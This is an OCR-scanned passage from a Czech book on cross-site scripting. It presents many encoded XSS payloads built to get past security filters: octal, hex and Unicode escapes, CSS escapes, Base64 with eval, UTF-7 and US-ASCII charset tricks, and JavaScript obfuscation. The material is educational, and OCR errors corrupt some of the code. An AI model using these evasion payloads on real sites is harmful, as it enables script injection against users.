<form name="formular" method="post">
<input type="text" name="txt" size="100"
value="<?php echo htmlspecialchars ($txt); ?>">
<input type="submit" value="Odesli">
</form>
<hr><h2>URL kédovani</h2>
<?php echo $vystupURL; ?>
<hr><h2>ASCII kédovani</h2>
<?php echo $vystupASCII; ?>
<hr><h2>BASE64</h2>
<?php echo base64_encode ($txt); ?>
</body>
</html>

Kdyz uzZ jsem se zminil o funkci JavaScriptu eval(), mél bych na tomto misté
zminit také chybu, které se vyvojati webovych aplikaci ¢asto dopousté;ji.
Funkci eval() je totiz kromé jiného mozné pouzit pro konverzi textového
fetézce na Cislo, ¢ehoz nékteti vyvojati hojné vyuzivaji. Tato konverze je
mozna proto, ze tato funkce ocekava vyraz ve forme fetézce (JavaScriptu),
ktery vyhodnoti a vrati vyslednou hodnotu. Pokud je tedy tato funkce
v aplikaci pouzita s timto zamérem a uzivatel mize ovlivnit fetézec, ktery je
funkci eval() pfedan (napiiklad proto, Ze je bran ze vstupu GET nebo
POST), nikdo vam nezarucuji, ze se uzivatel nepokusi o podstréeni kodu
JavaScriptu pravé touto cestou.
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Escape sekvence znaku

Nékdy se vam stane, ze potiebujete v JavaScriptu pouzivat fetézce
obsahujici kromé jinych, také znaky se zvlastnim vyznamem. Takovymi
znaky mize byt napiiklad kod uvozovek v fetézci, ktery je sam
vV uvozovkach uzavien, nebo napiiklad pfechod na novy fadek. JavaScript
obsahuje pro tyto ptipady escape sekvence, které zacinaji zpétnym lomitkem
a jsou nasledovany znakem, ktery po zpétném lomitku nabyva jiného,
zvlastniho vyznamu. Seznam escape sekvenci uvadim v tabulce 36.

Tabulka 36 - Escape sekvence znaku

A\ Znak apostrofu

A" zZnak uvozovek

A\ Znak zpétného lomitka

\b Backspace

\f Form feed

\n New line - odfadkovani

\r Carriage return - navrat

\t Tabulator

\ddd Octal sekvence znaku ASCII kéd v osmickové soustavé
\xdd Hexadecimdlni sekvence znaku ASCII kéd v Sestndctkové soustavé
\udddd Unicode sekvence znaku UNICODE kéd v Sestnactkové soustavé

Chceme-1li naptiklad pouzit fetézec rozdéleny na dva tadky
pouZijeme v misté pfechodu na novy fadek escape sekvenci \n. Pokud navic
chceme nékterad slova uzaviit do uvozovek pouZijeme escape sekvenci \".
Retézec pak bude vypadat takto:

""Toto je text \"prvniho\" Fidku\nToto zase text \"druhého\" iadku"

Pro koédovani celych fetézcl lze pouzit poslednich tii variant
uvedenych v tabulce 36. Pomoci nich mizeme zakodovat jakykoliv znak
Vv fetézcei, a jejich fazenim pak dokonce cely fetézec. Sekvence zacina stejné
jako u specialnich znakll zpétnym lomitkem, které je nasledovano bud’to
tiimistnym ASCIl kdédem znaku v osmickové soustavé, znakem X
a dvojmistnym ASCII kédem znaku v Sestnactkové soustave, nebo znakem u
a Ctyfmistnym unicode kédem znaku také v Sestnactkové soustave. Zkusime
nyni zakodovat nas stary znadmy ftetézec alert("XSS"); pomoci vSech
uvedenych variant. Vysledné tvary fetézce po tomto zakddovani si miiZete
prohlédnout v tabulce 37.

[ Tabulka 37 - Retézec alert("XSS"); zakédovany pomoci escape sekvenci

Zakédovéno variantou \ddd
\141\154\145\162\164\050\042\130\123\123\042\051\073
Zakédovano variantou \xdd
\x61\x6C\x65\x72\x74\x28\x22\x58\x53\x53\x22\x29\x3B
Zakédovano variantou \udddd

\u0061\u006C\u0065\u0072\u0074\u0028\u0022
\u0058\u0053\u0053\u0022\u0029\u003B
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Pokud bychom nyni chtéli spustit takto zakodovany skript, musime
u prvnich dvou uvedenych variant pouzit funkci JavaScriptu eval(), kterou
jsme vyuzili jiz ve spojeni s funkci fromCharCode(). U posledni, tteti
varianty kodovani ve tvaru \udddd miZeme pouzit funkci eval() také,
nicméné od ostatnich dvou se preci jen trochu odlisuje. K dispozici nam totiz
dava i moznost pfimého spusténi skriptu mimo funkei eval(). Tato moznost
ma ale jista omezeni. Pomoci tohoto kédovani mizeme zakodovat jak nazvy
funkci, tak i jednotlivé fetézce, nicméné znaky se specidlnim vyznamem
jako jsou uvozovky, zavorky nebo stfednik, timto zplisobem kodovat
nemtzeme. Rizné zpUsoby, kterymi je mozné skripty zakodované pomoci
escape sekvenci spoustét uvadim ve vypisu 161.

Vypis 161 - MoZnosti spusténi skripti zakédovanych pomoci escape sekvenci

Jjavascript: eval ("\141\154\145\162\164\050\042\130\123\123\042\051\073") ;
<script>eval ('\x61\x6C\x65\x72\x74\x28\x22\x58\x53\x53\x22\x29\x3B") </script>

Jjavascript: eval ("\u0061\u006C\u0065\u0072\u0074\u0028\u0022\u0058\u0053
\u0053\u0022\u0029\u003B) ;

javascript:\u0061\u006C\u0065\u0072\u0074 ("XSS") ;

<script>\u0061\u006C\u0065\u0072\u0074 ("\u0058\u0053\u0053"); </script>

CSS escape sekvence znaku

S escape sekvencemi znakli se mizeme kromé samotného
JavaScriptu setkat také v CSS nebo-li v kaskadovych stylech. Zde se
pouziva zpétného lomitka, které je nasledovano jednim az Sesti
hexadecimalnimi znaky. Konec zapisu koédovaného znaku je definovan
prvnim znakem, ktery neni znakem z hexadecimalni soustavy, nebo pii
doséhnuti znaku na Sesté pozici. Pro zapis znaku < mizeme v CSS pouzit
libovolnou sekvenci z tabulky 38.

Tabulka 38 - Pouziti Escape sekvenciv CSS

\3C \3c
\03C \03c
\003C \003c
\0003C \0003c
\00003C \00003c

Pokud je znak zpétného lomitka nasledovan jakymkoliv jinym
znakem nez A-F nebo 0-9, pak je znak zpé&tného lomitka ignorovan. Této
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skute¢nosti se vyuziva pro oklamani bezpe€nostnich filtri, které v CSS
stylech hledaji nebezpeéné fetézce. Témi mize byt napiiklad -moz-binding,
nebo expression. PouZitim uvedenych escape sekvenci miizeme tyto vyrazy
ovSem zapsat také nékterym ze zplsobt, které uvadim v tabulce 39 a tim
tyto filtry obejit.

Tabulka 39 - PouZiti escape sekvenci v nazvu vlastnosti CSS

<div style="x:expression(alert('XSs'))">

<div style="\x:e\x\p\re\s\s\i\o\n(alert ('XsSs'))">

<div style="\x:\0065\x\p\r\65\s\s\i\o\n(alert ('XsSS"))">

<div style="\78:\65\78\70\72\65\73\73\69\6f\6e (alert ('XSS'))">

<div style="\078:\065\078\070\072\065\073\073\069\06£\06e (alert ('XSs'))">

<div style="&#92;78&#58;&#92;65&#92;78&#92;70&#92;72&#92;65&#92; 73&#92;73
&#92;696#92; 6£&#92; 6e (alert ('XSS')) ">

Mizete si vsinout, ze jsem v né&kterych piipadech pouzil
také kombinaci s HTML entitami, pomoci kterych jsem zakddoval dvojtecku
a zpétna lomitka. Zakodovat jsem mohl ale i jakykoliv jiny znak.

Baseb64

Na predchozich strankach jsme se jiz seznamili s funkei
JavaScriptu  fromCharCode(), ktera pievadéla ASCIT hodnoty na
odpovidajici znaky. Nyni se podivame na dal$i funkci JavaScriptu, ktera
nam podobné umozni dekddovat fetézce zakddované algoritmem Base64.
Touto funkci je atob(). Ta na svém vstupu oéekava fetézec, ktery ma
dekodovat a vraci jeho dekddovanou podobu. Opacénou funkci je btoa(),
ktera naopak koduje textovy fetézec do Base64. Nas vSak bude zajimat spise
prvni z uvedenych funkci. Pomoci nasi univerzalni aplikace pro kodovani si
muzete vyzkousSet zakodovat fetézec alert(**XSS™); do Base64. Ziskate tak
tento zakodovany fetézec YWxIlcnQollhTUylpOw== Nyni jej pfedame
funkci atob(), ktera se postara o dekddovani tohoto fetézce a dekddovany
tvar nasledné spustime funkei eval(), kterou uz také dobie znate. Vysledek si
muizete prohlédnout ve vypise 162.

Vypis 162 - Spusténi kédu zakédovaného v BASE 64

<script>
eval (atob ('YWx1lcnQoIlhTUyIpOw=="));
</script>




178 Cross-Site Scripting v praxi

JScript.Encode

Tento zpisob kodovéani skriptd pochdzi z dilny Microsoftu®
a Vv jinych prohlize€ich, nez je Internet Explorer, neni podporovan. Pivodné
byla tato metoda vyvinuta proto, aby zabranila kopirovani a vykradani
skriptii z webovych stranek. K dispozici je kodér Windows Script Encoder?
pro piikazovy fadek, ktery umoznuje zakodovat skript v jazycich VBScript
aJscript, coz je nazev Microsofti implementace JavaScriptu. Pouziti
kodovaci utility je jednoduché, sta¢i kdyz si nas skript uvedeny ve vypisu
163 uloZime do souboru (naptiklad plain.html).

Vypis 163 - Skript pred zakédovanim

<script>
alert ("Xss");
</script>

Nasledné spustime kodovani timto piikazem:

Vypis 164 - Priklad spusténi Windows Script Encoder

screnc plain.html encode.html

Zakoédovany skript se v naSem piipadé ulozi do souboru
encode.html, jehoz obsah si miiZete prohlédnout ve vypise 165.

Vypis 165 - Skript zakédovany pomoci Windows Script Encoderu

<script language="JScript.Encode">
#@~"FwWARAA==Q#Q&P~mVIDYvJoj 2r#IQ#R&VAQAAA=="#~Q
</script>

Ocitnete-li se v opaé¢né situaci, kdy se vam dostane do rukou skript
zakdédovany pomoci Jscript.Encode, muzete jej dekddovat do
srozumitelného tvaru nékterym z volné dostupnych dekodérti. Jednim z nich

! http://msdn.microsoft.com/en-us/library/d14c8zsc.aspx
2 http://www.microsoft.com/downloads/en/details.aspx?familyid=E7877F67-C447-
4873-B1B0-21F0626A6329
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je naptiklad Windows Script Decoder’, jehoz pouziti je tém&f shodné
S pouzitim encoderu. Abychom tedy pifevedli zakddovany tvar zpét na
srozumitelny kod, mizeme pouzit nasledujiciho ptikazu.

Vypis 166 - Priklad spusténi Windows Script Decoderu verze 1.8

scrdecl8 encode.html plain.html

Kombinace riiznych zptsobi kédovani

Rizné druhy kodovani, které jsme si popsali vyse, mizeme také
vzajemné kombinovat. Napiiklad direktivu javascript: je mozZné zapsat
pomoci HTML entit jednotlivych znaku, ale uz ne pomoci URL kédovani.
Naopak samotny skript v fetézci jiz pomoci URL kddovani zapsat mizeme.
Nic nam tedy nebrani oba tyto zplsoby riizné¢ zkombinovat a vytvofit tak
odkaz podobny nékterému z vypisu 167.

Vypis 167 - Ukazka kombinace riuznych zpusobu kédovani

<a href="&#106&#976&#118&#976#1156#996#1146#1056#1126#1165&#58%61%6C%65%72%74
%28%2£%58%53%53%2£%29%3b">odkaz</a>

<a href="&#106&#976&#1186#976#1156#996#1146#1056#112&#116&#58%61&#x6C%65&#x72
$745#X28%2f&#x58%536#x53%2F&#x29%3b">odkaz</a>

Vlastni kodovani

kédovéni v JavaScriptu, musime se zminit jesté o moznosti pouziti vlastnich
kédovacich algoritmti. Kod v JavaScriptu totiz mlzeme zakddovat
i jakymkoliv vlastnim algoritmem. Dilezité je, abychom zakodovany fetézec
dokazali pomoci JavaScriptu opét dekodovat do ptivodni podoby. Skript,
ktery pak vkladame do webové stranky musi obsahovat dekodovaci funkei,
ktera je bud'to v nezakddovaném tvaru, nebo je zakdédovana nékterym
z diive uvedenych metod. Zbyvajici Cast skriptu je v zakdodované podobé
pfedana naptiklad jako text v fetézcové promenné, kterd je pifi nacteni
skriptu prohnana dekédovaci funkci a vysledek je spustén funkci eval().

! http://www.virtualconspiracy.com/content/scrdec/intro
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Ukazeme si jeden takovy piiklad, v némz zakoédujeme obsah
JavaScriptu pomoci naseho vlastniho kédovani. Pouziji pfi tom jednoduchou
zaménu znakl.. Pro zakddovani JavaScriptu si vytvoifime jednoduchou
aplikaci v PHP. Jeji zdrojovy kod vidite ve vypise 168.

Vypis 168 - Kod stranky pro kédovani JavaScriptu zaménou znaku

<?php
$jmeno = stripslashes($_POST["posun"]);
Stxt = stripslashes($_POST["txt"]);
Sretezec = StrTr($txt,
"abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPGRSTUVWXYZ () /; ",
"; /) (ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrgponmlkjihgfedcba™) ;
?>
<html>
<head>
<meta http-equiv="Content-Language" content="cs">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
<title>Kédovéni skriptt néhradou znaku</title>
</head>
<body>
<hl>Kédovani skriptt ndhradou znaka</hl>
Vysledny fetézec <br>
<?php echo htmlspecialchars ($retezec); ?><br><hr><br>
<form name="formular" method="post">
<textarea name="txt" rows="3" cols="30">
<?php echo htmlspecialchars ($txt); 2>
</textarea>
<input type="submit" value="OdeSli">
</form>
</body>
</html>

Pokud pomoci uvedené kodovaci aplikace zakdédujeme kod
JavaScriptu  alert(/XSS/);, ziskame nasledujici zakodovany fetézec:
;SZMKdbgllbca. Nyni, si pfipravime dekddovaci proceduru v JavaScriptu,
ktera bude schopna pirevést zakodovany text do piivodni podoby a spustit jej
pomoci funkce eval(). Kod tohoto skriptu uvadim ve vypisu 169.

Vypis 169 - Skript pro dekédovani a spusténi skriptu

<script>
var txt = ";SZMKdbgllbca";
var kod = "";
var tabl = "abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPGRSTUVWXYZ () /;";
var tab2 = ";/) (ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrgponmlkjihgfedcba";

for (var i=0; i<txt.length; i++) {
kod+=(tab2.substr (tabl.search (txt.substr(i, 1)),1));
}
eval (kod) ;
</script>
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Mizete vidét, ze je nyni téZko odhadnutelné, co dany skript
vykona. Pokud jej navic cely pievedeme na HTML entity, jen malokdo bude
schopny zjistit jeho skute¢nou funkei. V podobé HTML entit uvadim stejny
skript ve vypise 170. Snad jedinou nevyhodou pouziti kodovani je
skutecnost, ze se cely skript znané rozroste, coz je patrné hlavné na
mensich skriptech, jako byl ten nas. Pfi pouziti delSich skripti se vSak
pouziti vlastniho kodovani mize vyplatit.

Vypis 170 - Zakédovany script z vypisu XX

\u0065\u0076\u0061\u006c ('\x76\x61\x72\x20\x74\x78\x74\x3d\x22\x3b\x53\x5a\x4
d\x4b\x64\x62\x67\x6c\x6c\x62\x63\x61\x22\x3b\x76\x61\x72\x20\x6b\x6£\x64\x3d
\x22\x22\x3b\x76\x61\x72\x20\x74\x61\x62\x31\x3d\x22\x61\x62\x63\x64\x65\x66\
x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6£\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x
7a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4£\x50\x47\x52\x5
3\x54\x55\x56\x57\x58\x59\x5a\x28\x29\x2£\x3b\x22\x3b\x76\x61\x72\x20\x74\x61
\x62\x32\x3d\x22\x3b\x2f\x29\x28\x5a\x59\x58\x57\x56\x55\x54\x53\x52\x51\x50\
x4f\x4e\x4d\x4c\x4b\x4a\x49\x48\x47\x46\x45\x44\x43\x42\x41\x7a\x79\x78\x77\x
76\x75\x74\x73\x72\x71\x70\x6f\x6e\x6d\x6c\x6b\x6a\x69\x68\x67\x66\x65\x64\x6
3\x62\x61\x22\x3b\x20\x66\x6£\x72\x20\x28\x76\x61\x72\x20\x69\x3d\x30\x3b\x20
\x69\x3c\x74\x78\x74\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x20\x69\x2b\x2b\x29\x7b\
x6b\x6£\x64\x2b\x3d\x28\x74\x61\x62\x32\x2e\x73\x75\x62\x73\x74\x72\x28\x74\x
61\x62\x31\x2e\x73\x65\x61\x72\x63\x68\x28\x74\x78\x74\x2e\x73\x75\x62\x73\x7
4\x72\x28\x69\x2c\x20\x31\x29\x29\x2c\x31\x29\x29\x3b\x7d\x65\x76\x61\x6c\x28
\x6b\x6f\x64\x29\x3b") ;

Shrnuti kapitoly o kédovani

Ukézali jsme si, ze v JavaScriptu mame k dispozici Siroké
spektrum kodovani z néhoz mtizeme vybirat. Nastal ¢as shrnout jednotlivé
zpusoby piehledné na jednom misté, aby bylo jasné, v jakém kontextu
mizeme kazdy konkrétni zptisob pouzit. Toto shrnuti najdete v nasledujici
tabulce.

Tabulka 40 - Shrnuti pouZiti jednotlivych zptsobu kédovani

Kodovani, které je moZné pouzit mezi tagy <script> bez funkce eval()
alert ('XsSs');

\u0061\u006c\u0065\u0072\u0074 ('\u0058\u0053\u0053") ;

Koédovani, které je mozné pouZzit mezi tagy <script> ve funkci eval()
eval ("alert ('XSS');");

eval ("\141\154\145\162\164\50\47\130\123\123\47\51\73") ;

eval ("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29\x3b") ;

eval ("\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0058\u0053\u0053\u0027\u0029\u003b") ;
eval (atob ("YWxlcnQoJ1lhTUycpOw==")) ;

eval (String.fromCharCode (97,108,101,114,116,40,39,88,83,83,39,41,59));
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Kodovani, které je mozné pouZzit v direktivé javascript:
<a href="javascript:alert('XSS');">test</a>

<a href="javascript:%61%6c%65%72%74%28%27%58%53%53%27%29%3b">test</a>
<a href="javascript:\u0061\u006c\u0065\u0072\u0074 ('\u0058\u0053\u0053") ; ">test</a>

<a href="&#106&#97&#118&#97&#115&#996#1146#105&#112&#116&#58&#97&#108&#101&#1
4s#116&#406#396#886#836#836#396#41&#59">test</a>

<a href="&#x6as#x616#x76&#x616#x736#x636#x726#x696#x70&#x746#x3a6#x616#x6CEH#X
656#xT26#xTA6#x286#x276#x586#x536#x536#x276#x296#x3b">test</a>

Kodovani, které je mozné pouZzit v direktivé data:
<a href="data:text/html,<script>alert('XSS');</script>">test</a>

<a href="data:text/html, $3c%73%63%72%69%70%74%3e%61%6Cc%65%72%74%28%27%58%53%5
3%27%29%3b%3c%2£%73%63%72%69%70%74%3e">test</a>

<a href="&#100&#97&#116&#976#586#1166#1016#120&#1166#47&#1046#116&#109&#108&#
446#60&#1156#996#1146#1056#1126#1166#626#976#108&#1016#1146#116&#40&#396#8
8&#836&#836#396#416#596#606&#476#1156#996#1146#1056#1126#116&#62">test</a>

<a href="&#x64s#x61a#x746#x616#x3a6#x746#x656#x78&#xT46#x2f6#x68&#xT46#x6d&H#X
6ca#x2ce#x3ca#xT36#x636#xT726#x696#xT06#xT46#x36#x616#x6CE#X65&H#xT26HxT46H
X28&#x276#x586#x53&#x536#x276#x296#x3b&#x3Ce#x2Fe#x736#x636#x726#x696#x70&
#x74&#x3e">test</a>

<a href="data:text/html;base64, PHNjcmlwdD5hbGVydCgnWENTJyk7PC9zY3JpcHQ+">test</a>

<a href="data:text/html,<script>\u0061\u006c\u0065\u0072\u0074 ('\u0058\u0053\
u0053"') ;</script>">test</a>

Kodovani, které je mozné pouzit ve stylech CSS
<div style="xss:expression(window.x?0: (alert('XSS'),window.x=1));"></div>

<div style="\78\73\73:\65\78\70\72\65\73\73\69\6£\6e (window.x?0: (alert ('XSS")
,window.x=1)) ;"></div>

<div style="&#120&#115&#115&#58&#101&#120&#1126#1146#1016#115&#115&#105&#111%&
#1106&#406&#1196#1056#1106&#1006&#1116#1196#46&#1206#636#486&#58&#40&#97&#108
&#1016&#1146#1166&#406#396#88&#836#836#396#416#446#1196#1056#110&#1006&#111
&#1196#466&#1206#616#496#41&#416&#59"></div>

<div style="&#x78&#x73&#x73&#x3a&#x65&#xT8&#XTO&HRT26#x65&#xT36#xT36#x69&#x6F
§#X6e&#X28&H#XTT&#R696#X6&HR64&HROTEHRTTa#R2e6#xTBE#R3L&#x306#x3a6#x28&#
X61&#x6CEHRO56HRT26H#xTA6HR286#x276#x586#x536#x536#x276#x296#x2ce#xT76#x6
9s#xbes#x646#x6fatxTTa#x2es#xT786#x3de#x316#x296#x296#x3b"></div>

Znakové sady

Pokud jsem zminoval rizné zpusoby kdédovani znaki, slusi se na
tomto misté uvést také rizné znakové sady. Ty mezi kodovani také svym
zpisobem patfi a nékteré z nich Ize v uréitych situacich rovnéz pouzit pti
injektazi skripti. Na Internetu se setkavame s kodovanim, pii kterém je
kazdy znak kodovan ur¢itym poctem byti (Cili nasobkem osmi bitl) tak, aby
bylo mozné obsahnout vSechny znaky pouzité abecedy. Vyjimku tvoii starsi
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sedmibitové zplsoby kddovani, ze kterych jsou ur¢ité nejznaméjsi UTF-7
a US-ASCII.

Znakova sada US-ASCII je schopna obsahnout pouze znaky ze
spodni poloviny ASCII tabulky a nerespektuje pfi tom nejvyssi bit v bytu.
Toho 1ze nékdy zneuzit béhem obchadzeni bezpecnostnich filtrd pri XSS
utoku. Vezméme si napfiklad oteviraci lomenou zavorku <, ktera je
reprezentovana znakem %3C s binarnim vyjadienim 00111100. Vzhledem
k tomu, Ze kédovani US-ASCII nerespektuje nejvyssi osmy bit bytu, bude
mit stejny vyznam také binarni kod 10111100, ktery v jinych kddovanich
ptedstavuje znak % (%BC). Pii pouziti uvedeného pravidla by ke spusténi
kodu mohl byt pouzit kéd z vypisu 171.

Vypis 171 - HTML kod se skriptem zneuzZivajici kédovani US-ASCI|

Yiscript¥alert (¢XSS¢)¥/script¥

Podobna situace nastava také pii pouziti kodovani UTF-7, které je
narozdil od US-ASCII schopno vyjadfit i dal$i Unicode znaky. Bé&zné
alfanumerické znaky a nékteré symboly jsou s pouzitim tohoto kodovani
zobrazeny piimo, ostatni jsou vyjadieny sekvenci béznych alfanumerickych
znakl. Tato sekvence je zpfedu ohrani¢ena znakem plus + a ukoncena
znakem minus -. Pro kddovani celého fetézce je pouzit mirné¢ modifikovany
algoritmus Base64. Znak oteviraci lomené zavorky je v UTF-7 moZné zapsat
jako sekvenci znaki +ADw-. Celou verzi HTML kdédu obsahujici tag
<SCRIPT> si muzete prohlédnout ve vypisu 172.

Vypis 172 - HTML kéd se skriptem zneuzivajici kodovani UTF-7

+ADw-script+AD4-alert (+ACI-XSS+ACI-) +ADw-/script+AD4-

V tabulce 41 uvadim ptehled nejéastéji zaménovanych potencialné
nebezpeénych znakl v kodovani UTF-8, UTF-7 a US-ASCII.

‘ Tabulka 41 - Specialni znaky ve znakovych sadach

UTF-8 UTF-7 US-ASCII
" +ACI- ¢  %A2

' § %A7
/ / T SAF
: 8 °  SBA
; +ADs- » %BB
% +ACU- ¥ $AS
& +ACY- ! $A6
< +ADw— Y $BC
> +AD4- % S%BE
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O tom, které kodovani je pro konkrétni webovou stranku pouzito,
je webovy prohlize¢ informovan parametrem charset v HTTP hlavidce
Content-type:, nebo stejnojmennym META tagem, jak ukazuje vypis 173.

Vypis 173 - Nastaveni znakové sady pro webovou stranku

Nastaveni znakové sady HTTP hlavickou

HTTP/1.1 200 OK

Date: Sun, 28 Nov 2010 14:01:50 GMT

Server: Apache

Content-length: 6056

Content-Type: text/html; charset=IS0-8859-1

Nastaveni znakové sady META tagem

<HEAD>
<META HTTP-EQUIV="Content-Type" content="text/html; charset=IS0-8859-1" />
<TITLE>Nadpis</TITLE>

</HEAD>

Utok, ktery by vyuzival kodovéani nebezpednych znakii nékterym
zuvedenych zptsobt, prepokladd, ze bude webové strance prave toto
kédovani nastaveno. Toto kédovani se také miize podafit explicitné nastavit
injekci uvedeného META tagu nebo parametrem v URI, pokud umoziiuje
definovat vystupni znakovou sadu webové stranky. Mlize se ovSem také stat,
ze je webovy server nakonfigurovan chybné a v HTTP hlavi¢ce neposkytuje
informaci o pouzitém koédovani. Pokud tuto informaci neuvede ani autor
stranek v jejim kodu, miZe tak snadno v Internet Exploreru dojit ke spusténi
kéodu s pouzitym sedmibitovym koédovanim. Internet Explorer totiz
poskytuje funkci automatického rozpoznani pouzitého kédovani a pokud je
toto rozpoznavani povoleno, pak po obdrzeni kédu z vypisu 172, tento kod
vykona.

Kdyby naptiklad webovy server Apache nemél nastaveno
implicitni kédovani v HTTP hlavicce, bylo by mozné toho zneuzit také
Vv jeho defaultni chybové strance 404. Ta totiz reflektuje uzivatelsky vstup
z URI aneobsahuje vlastni definici kodovani v META tagu. Aby ale byla
tato stranka v Internet Exploreru spravné zobrazena, musela by mit velikost
alespoti 512 bytd. URL by tedy bylo nutné na tuto velikost rozsifit,
viz. vypis 174.

Vypis 174 - ZneuzZiti kédovani UTF-7 na Apache defaultni strance 404

http://apache.svr/+ADw-SCRIPT+AD4-alert ('XSS"') ; +ADw-/SCRIPT+AD4~/ZZZZZZ%. . .
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Na XSS zranitelnosti spojené se znakovymi sadami trpéli
v minulosti napftiklad i takové servery, jako jsou Google nebo Yahoo.com.
Rozhodné by se proto nemélo pouzité kddovani v aplikaci podceniovat
a mélo by byt dohlidnuto na to, ze bude uzivatelim vzdy piedana pouzita
znakova sada HTTP hlavickou a soucasné i v META tagu webové stranky.
Umoznit uzivatelim volbu znakové sady si mizeme dovolit pouze
v piipad¢, Zze naSe bezpecnostni filtry budou schopny identifikovat
a eliminovat pfipadné itoky i v tomto zvoleném kodovani.

Retézce jako regularni vyrazy

AC¢ nemaji s kédovanim nic spole¢ného, zminim na tomto misté
jesté regularni vyrazy a jejich vlastnost source. V piikladech této knihy jsme
testovali vstup pomoci fetézce /XSS/, kde byla lomitka pouzita pro
ohraniceni fetézce namisto uvozovek ¢i apostrofli. Takto zapsany fetézec
neni prostou fetézcovou konstantou, ale jedna se o regularni vyraz. Pii jejich
pouziti jste si mohli v§imnout, Ze se na vystupu zobrazuji spole¢né s textem
také obsazena ohranicujici lomitka. Pokud se jich budete chtit zbavit, staci,
kdyz pridate za nas ohraniCeny fetézec vlastnost .source, ktera vrati pouze
obsah regularniho vyrazu. Ziskdme tak moznost zapisovat fetézce bez
béznych uvozujicich znakl a to se mize dost ¢asto hodit. Sami si miZete
vyzkouset skript z vypisu 175.

Vypis 175 - pouZiti vlastnosti source

<script>alert (/XSS/.source) ;</script>

K pouziti regularniho vyrazu v piikladech jsem se rozhodl proto,
ze znaky uvozovek a apostrofi mohou byt nékdy na strané serveru
escapovany a testovaci kod by v takovém ptipadé skoncil s chybou. Maze za
to napiiklad PHP a jeho direktiva magic_quotes_gpc. Tato direktiva uréuje,
zda se ma zpétné lomitko vkladat pied vSechny uvozovky a apostrofy
Vv fetézcich, které pfijdou na server prostfednictvim pozadavkd POST a GET
nebo v cookies. Jde o0 bezpeénostni opatieni proti itokim SQL injection
vedenym proti databazi webové aplikace.
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Obfuskace JavaScriptu

Interpret JavaScriptu ma pomérné benevolentni pravidla pro zapis
kodu. Casto se tak mizeme setkat se skripty, které vypadaji naprosto
nesrozumitelné a nesmyslné. Interpret vsak tyto kody pielouska naprosto bez
problému a bezchybné. Porozumét takto specialné napsanému skriptu a jeho
funkci ale mize byt pro normalniho smrtelnika naprosto nerealné a Gto¢nici
proto uvedenych postupl casto vyuzivaji ke skryti funkce vytvofeného
malware. V nasledujicich odstavcich se zaméfime na nékteré z téchto
zvlastnich zpuisobl prace interpretu JavaScriptu.

Pojmenovani funkci a proménnych

Jedna ze zajimavosti JavaScriptu je naptiklad volba nazvi nami
definovanych proménnych a funkci. Nad tim, co ndm v této oblasti interpret
jazyka povoli, Casto zlstdva rozum stat, protoze v jiném programovacim
jazyce by stejné pouziti vedlo okamzité k chybé. V JavaScriptu mizeme
nase funkce a proménné pojmenovat napiiklad znakem podtrzitko ~ nebo
dolar $ (viz. vypis 176), ¢i ndzvem metody nékterého objektu (napi. self,
status, alert, apd.), jak ukazuje vypis 177.

Vypis 176 — PouZiti zvlasStnich znakd pro pojmenovéani proménnych

<script>
_=alert;
_(/OK/);

</script>

Vypis 177 - PouZiti specialnich slov pro pojmenovani proménnych

<script>
status=alert;
status (/OK/) ;

</script>

Podobné mizeme pro nazvy proménnych a funkci pouzit také
jakykoliv znak zakédovany v Unicode s kodem v rozsahu od 5000 do 9999.
Ptiklad ukazuje nasledujici vypis.

Vypis 178 — Pojmenovani proménnych znakem Unicode

<script>
\u9997=alert;
\u9997 (/OK/) ;

</script>
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Non-alfanumericky JavaScript

Pro obfuskaci kodu existuje mnoho metod. My se ale zaméfime
pouze na jednu z nich, ktera mi ptipadne nejexoti¢téjsi a nejzajimavéjsi.
Touto metodou je zapis kodu JavaScriptu bez pouziti jakéhokoliv
alfanumerického znaku. V celém koédu si tak vystaime pouze s nékolika
specialnimi znaky ! {} [1 () +/°

Pokud se ptate, jak je mozné pomoci téchto par znakd zapsat kod,
kterému bude interpret JavaScriptu rozumét, pak véite, ze jde o skutecné
logickou zalezitost, ktera ma sva jasné stanovena pravidla.

Vyklad za¢neme pfipomenutim skute¢nosti, ze je mozné se na
jakykoliv znak v fetézci odvolavat pomoci jeho pozice v poli jeho znaki.
Naptiklad pismeno ,,c ze slova ,hacking“ bychom mohli ziskat timto
zapisem: "hacking"[2].

Dale se nauCime vyjadiit jakékoliv ¢&islo bez pouziti
alfanumerickych znakd. Na uvod nam poslouzi sekvence dvou hranatych
zavorek [], o které si povime, Ze piedstavuje prazdné pole. Zkuste si jej
vypsat pomoci piikazu alert([]); a uvidite, Ze na vas vysko¢i prazdné okno.
Nyni si fekneme, ze pokud pied tento Fetézec vlozime znak vykiiéniku !,
provedeme tim konverzi na logickou hodnotu, v tomto piipadé tedy zapis ![]
bude ptedstavovat logickou hodnotu false. Opét si to miZete vyzkouset
pomoci vystupu funkce alert(). Pro ziskani logické hodnoty true, staéi, kdyz
cely vyraz znegujeme. Ktomu nam opét poslouzi znak vykfiéniku.
Logickou hodnotu true Ize tedy zapsat jako sekvenci !'[].

Vime, Ze logické hodnoty je mozné vyjadrit také pomoci ¢isel, kdy
false = 0 a true = 1. Pro konverzi logické hodnoty na &islo pouzijeme
aritmetickou operaci pfi¢itani, tedy znak +, ktery umistime pted zapis
logické hodnoty. Pro ziskani ¢islice nula tedy pouZijeme zapis +![] a pro
Cislici jedna adekvatni zapis +!![]. Ziskani dalsich &islic v fadé bychom pak
mohli docilit neustalym ptic¢itanim jednicky, jak ukazuje tabulka 42.

Protoze by ziskani vysSich ¢isel znamenalo pfili§ dlouhé fetézce, je
vhodnéjsi u vicecifernych Cisel nejprve prevést prvni Eislici na fetézec
pri¢tenim prazdného pole [] a spojovat pak jednotlivé &islice za sebe jako
textové fetézce. Vysledny fetézec uzavieme do zavorek a pfidanim znaku +
pted tuto zavorku, jej opét pfevedeme zpét na &islo. V tabulce 42 je timto
zpusobem vyjadiena hodnota 123.




188 Cross-Site Scripting v praxi

